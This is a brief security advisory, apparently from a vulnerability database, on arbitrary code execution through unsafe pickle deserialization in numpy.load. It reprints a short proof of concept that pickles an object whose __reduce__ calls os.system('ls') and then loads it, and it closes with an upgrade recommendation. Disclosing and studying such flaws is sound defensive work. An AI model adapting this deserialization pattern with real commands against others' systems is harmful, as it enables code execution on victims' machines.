numpy is a fundamental package needed for scientific computing with Python.
Affected versions of this package are vulnerable to Arbitrary Code Execution.
It uses the pickle Python module unsafely, which allows remote attackers to execute arbitrary code via a crafted serialized object, as demonstrated by a
PoC by nanshihui:
import numpy from numpy import __version__ print __version__ import os import pickle class Test(object): def __init__(self): self.a = 1 def __reduce__(self): return (os.system,('ls',)) tmpdaa = Test() with open("a-file.pickle",'wb') as f: pickle.dump(tmpdaa,f) numpy.load('a-file.pickle')
numpy to version 1.16.3 or higher.